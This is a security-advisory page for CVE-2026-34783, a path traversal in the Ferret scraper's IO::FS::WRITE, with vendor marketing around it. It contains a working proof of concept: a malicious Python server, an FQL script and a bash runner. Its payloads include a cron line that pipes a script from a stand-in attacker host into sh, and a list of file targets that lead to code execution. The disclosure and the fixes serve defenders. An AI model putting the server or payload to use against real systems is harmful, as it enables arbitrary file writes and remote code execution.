Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
HIGH severity

CVE-2026-34783 — v2

HIGHFix: MontFerret/ferret@160ebad

CVE-2026-34783 is a high-severity (CVSS 8.1) Path Traversal vulnerability in github.com/MontFerret/ferret/v2. A fix is available for github.com/MontFerret/ferret/v2 — see the affected versions and patch details below.

Ferret has a Path Traversal in IO::FS::WRITE allows arbitrary file write when scraping malicious websites

Also known asGHSA-j6v5-g24h-vg4jGO-2026-5452
Published
Apr 6, 2026
Updated
Aug 27, 2026
Affected
2 pkgs
Patched
1 / 2
Exploits
None indexed
Exploitation data as of Sep 23, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-34783.

EPSS Exploitation Probability

via FIRST.org ↗
0.5%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs43th percentile — riskier than 43% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

CVE-2026-34783 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 378,567 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

2 pkgs affected
🐹github.com/MontFerret/ferret/v2🐹github.com/MontFerret/ferret

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

A path traversal vulnerability in Ferret's IO::FS::WRITE standard library function allows a malicious website to write arbitrary files to the filesystem of the machine running Ferret. When an operator scrapes a website that returns filenames containing ../ sequences, and uses those filenames to construct output paths (a standard scraping pattern), the attacker controls both the destination path and the file content. This can lead to remote code execution via cron jobs, SSH authorized_keys, shell profiles, or web shells.

Exploitation

The attacker hosts a malicious website. The victim is an operator running Ferret to scrape it. The operator writes a standard scraping query that saves scraped files using filenames from the website -- a completely normal and expected pattern.

Attack Flow

  1. The attacker serves a JSON API with crafted filenames containing ../ traversal:
[
  {"name": "legit-article", "content": "Normal content."},
  {"name": "../../etc/cron.d/evil", "content": "* * * * * root curl http://attacker.com/shell.sh | sh\n"}
]
  1. The victim runs a standard scraping script:
LET response = IO::NET::HTTP::GET({url: "http://evil.com/api/articles"})
LET articles = JSON_PARSE(TO_STRING(response))

FOR article IN articles
    LET path = "/tmp/ferret_output/" + article.name + ".txt"
    IO::FS::WRITE(path, TO_BINARY(article.content))
    RETURN { written: path, name: article.name }
  1. FQL string concatenation produces: /tmp/ferret_output/../../etc/cron.d/evil.txt

  2. os.OpenFile resolves ../.. and writes to /etc/cron.d/evil.txt -- outside the intended output directory

  3. The attacker achieves arbitrary file write with controlled content, leading to code execution.

Realistic Targets

Target PathImpact
/etc/cron.d/<name>Command execution via cron
~/.ssh/authorized_keysSSH access to the machine
~/.bashrc or ~/.profileCommand execution on next login
/var/www/html/<name>.phpWeb shell
Application config filesCredential theft, privilege escalation

Proof of Concept

Files

Three files are provided in the poc/ directory:

evil_server.py -- Malicious web server returning traversal payloads:

"""Malicious server that returns filenames with path traversal."""
import json
from http.server import HTTPServer, BaseHTTPRequestHandler

class EvilHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == "/api/articles":
            self.send_response(200)
            self.send_header("Content-Type", "application/json")
            self.end_headers()
            payload = [
                {"name": "legit-article",
                 "content": "This is a normal article."},
                {"name": "../../tmp/pwned",
                 "content": "ATTACKER_CONTROLLED_CONTENT\n"
                            "# * * * * * root curl http://attacker.com/shell.sh | sh\n"},
            ]
            self.wfile.write(json.dumps(payload).encode())
        else:
            self.send_response(404)
            self.end_headers()

if __name__ == "__main__":
    server = HTTPServer(("0.0.0.0", 9444), EvilHandler)
    print("Listening on :9444")
    server.serve_forever()

scrape.fql -- Innocent-looking Ferret scraping script:

LET response = IO::NET::HTTP::GET({url: "http://127.0.0.1:9444/api/articles"})
LET articles = JSON_PARSE(TO_STRING(response))

FOR article IN articles
    LET path = "/tmp/ferret_output/" + article.name + ".txt"
    LET data = TO_BINARY(article.content)
    IO::FS::WRITE(path, data)
    RETURN { written: path, name: article.name }

run_poc.sh -- Orchestration script (expects the server to be running separately):

#!/bin/bash
set -e
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
REPO_ROOT="$(cd "$SCRIPT_DIR/.." && pwd)"
FERRET="$REPO_ROOT/bin/ferret"

echo "=== Ferret Path Traversal PoC ==="
[ ! -f "$FERRET" ] && (cd "$REPO_ROOT" && go build -o ./bin/ferret ./test/e2e/cli.go)

rm -rf /tmp/ferret_output && rm -f /tmp/pwned.txt && mkdir -p /tmp/ferret_output

echo "[*] Running scrape script..."
"$FERRET" "$SCRIPT_DIR/scrape.fql" 2>/dev/null || true

if [ -f "/tmp/pwned.txt" ]; then
    echo "[!] VULNERABILITY CONFIRMED: /tmp/pwned.txt written OUTSIDE output directory"
    cat /tmp/pwned.txt
fi

Reproduction Steps

# Terminal 1: start malicious server
python3 poc/evil_server.py

# Terminal 2: build and run
go build -o ./bin/ferret ./test/e2e/cli.go
bash poc/run_poc.sh

# Verify: /tmp/pwned.txt exists outside /tmp/ferret_output/
cat /tmp/pwned.txt

Observed Output

=== Ferret Path Traversal PoC ===

[*] Running innocent-looking scrape script...

[{"written":"/tmp/ferret_output/legit-article.txt","name":"legit-article"},
 {"written":"/tmp/ferret_output/../../tmp/pwned.txt","name":"../../tmp/pwned"}]

=== Results ===

[*] Files in intended output directory (/tmp/ferret_output/):
-rw-r--r--  1 user user  46 Mar 27 18:23 legit-article.txt

[!] VULNERABILITY CONFIRMED: /tmp/pwned.txt exists OUTSIDE the output directory!

    Contents:
    ATTACKER_CONTROLLED_CONTENT
    # * * * * * root curl http://attacker.com/shell.sh | sh

Suggested Fix

Option 1: Reject path traversal in IO::FS::WRITE and IO::FS::READ

Resolve the path and verify it doesn't contain .. after cleaning:

func safePath(userPath string) (string, error) {
    cleaned := filepath.Clean(userPath)
    if strings.Contains(cleaned, "..") {
        return "", fmt.Errorf("path traversal detected: %q", userPath)
    }
    return cleaned, nil
}

Option 2: Base directory enforcement (stronger)

Add an optional base directory that FS operations are jailed to:

func safePathWithBase(base, userPath string) (string, error) {
    absBase, _ := filepath.Abs(base)
    full := filepath.Join(absBase, filepath.Clean(userPath))
    resolved, err := filepath.EvalSymlinks(full)
    if err != nil {
        return "", err
    }
    if !strings.HasPrefix(resolved, absBase+string(filepath.Separator)) {
        return "", fmt.Errorf("path %q escapes base directory %q", userPath, base)
    }
    return resolved, nil
}

Root Cause

IO::FS::WRITE in pkg/stdlib/io/fs/write.go passes user-supplied file paths directly to os.OpenFile with no sanitization:

file, err := os.OpenFile(string(fpath), params.ModeFlag, 0666)

There is no:

  • Path canonicalization (filepath.Clean, filepath.Abs, filepath.EvalSymlinks)
  • Base directory enforcement (checking the resolved path stays within an intended directory)
  • Traversal sequence rejection (blocking .. components)
  • Symlink resolution

The same issue exists in IO::FS::READ (pkg/stdlib/io/fs/read.go):

data, err := os.ReadFile(path.String())

The PATH::CLEAN and PATH::JOIN standard library functions do not mitigate this because they use Go's path package (URL-style paths), not path/filepath, and even path.Join("/output", "../../etc/cron.d/evil") resolves to /etc/cron.d/evil -- it normalizes the traversal rather than blocking it.

Affected Packages

2 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/MontFerret/ferret/v2all versions2.0.0-alpha.4go get github.com/MontFerret/ferret/v2@v2.0.0-alpha.4
🐹Gogithub.com/MontFerret/ferretall versionsNo fix

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/MontFerret/ferret/v2, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update github.com/MontFerret/ferret/v2 to 2.0.0-alpha.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-34783 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-34783 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2026-34783. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary A path traversal vulnerability in Ferret's `IO::FS::WRITE` standard library function allows a malicious website to write arbitrary files to the filesystem of the machine running Ferret. When an operator scrapes a website that returns filenames containing `../` sequences, and uses those filenames to construct output paths (a standard scraping pattern), the attacker controls both the destination path and the file content. This can lead to remote code execution via cron jobs, SSH authorized_keys, shell profiles, or web shells. ## Exploitation The attacker hosts a malicious website.
O3 Security · Impact-Aware SCA

Is CVE-2026-34783 in your dependencies?

O3 Security finds CVE-2026-34783 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

CVE-2026-34783: v2 RCE (High 8.1) | O3 Security